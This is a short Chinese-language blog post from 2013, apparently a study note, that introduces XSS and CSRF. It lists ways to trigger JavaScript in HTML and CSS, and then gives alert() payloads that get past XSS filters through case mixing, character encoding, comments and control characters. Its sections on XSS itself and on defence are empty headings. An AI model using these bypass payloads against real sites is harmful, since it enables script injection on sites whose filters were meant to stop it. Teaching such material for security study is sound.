Xss Csrf 简介

一、Js在web的执行环境

1.直接触发

•在HTML页中插入<script></script>脚本标记。JS嵌入到HTML中的两种方式:
•1)直接嵌入<script>标签

 <script language=“javascript”>

 document.write(“hello world!”);

 </script>

•2)在外部以js文件的形式嵌入

<script language=“javascript” src=“test.js”>

</script>

2.利用HTML标签属性触发

•利用HTML标签中能够访问文件的属性来执行JS代码。JS中包含一个URL伪协议,可以使用javascript:加上任意JS代码来表示一个URL,浏览器装载此URL时,JS被执行。

< img src=“javascript:alert(‘XSS’)” />

< img dynsrc=“javascript:alert(‘XSS’)” />

 

3.•利用HTML事件触发
 
HTML标签中定义了一系列事件。

<img src=“#” onerror=“alert(‘XSS’)” />

<img onClick =“alert(‘XSS’)” />

4•利用CSS触发
lCSS嵌入HTML中的三种方式:

1)以.css文件的形式:

<link href=“test.css” rel=“stylesheet” type=“text/css”/>

2)以<style></style>标签的方式:

< style type="text/javascript">alert('XSS');</ style > 

3)在标签中以style属性的方式。

<a style ="background-image: url(javascript:alert('XSS'))">  </a>

5•其他
IE支持在CSS中使用expression,用来把CSS和JS结合起来,即CSS后跟一段JS代码,CSS属性的值等于JS代码的执行结果:

<style>

h1{color:#CCC;height:expression(alert(‘xss’));}

</style>

二、Xss的介绍

三、XSS挖掘技巧

•过滤规则:1.关键字过滤:如:javascript等;2.<>等特殊字符转码。
 
1.但是HTML并不遵循XHTML标准,所以可以将HTML标签属性值大小写、混合写,而且标签属性可以单引号、双引号,也可以不用引号:如:

    <img src=“javascript:alert(‘XSS’)” />

    写为<img src=“JavasCripT:alert(‘XSS’)” />可绕过过滤规则

2.插入控制符的ASCII码混淆,不影响原代码的执行。如tab(&#9)、换行符号(&#10)、回车符(&#13)等31个控制字符。

     如: <img src=“javascript:alert(‘XSS’)” />,混淆后代码为:

         <img src=“&#15;javascript:alert(‘XSS’)” />

3. 绕过HTML标签内的关键字过滤,在插入代码的属性前加入混淆属性,如: <img src=“abc>” onclick=“alert(‘XSS’)” />

4. 插入注释符如: <img style=“xss:expr/*xss*/ession(alert(111))”>

5.对CSS:\会被浏览器忽略: : <img style=“background-image:url(ja\vas\\\\cript:alert(111))”>

6.编码绕过,如: <img src=“&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#39&#88&#83&#83&#39&#4l&#59”>等价于<img src=“javascript:alert(‘xss’;)”.>

      http://ha.ckers.org/xss.html

四、防XSS

五、跨站请求伪造(CSRF)
某些浏览器允许跨域携带cookies。如:
在a.com访问b.com时,会携带B.com的cookies
例如火狐浏览器
posted @ 2013-01-07 10:27  spandiv  阅读(457)  评论(0编辑  收藏  举报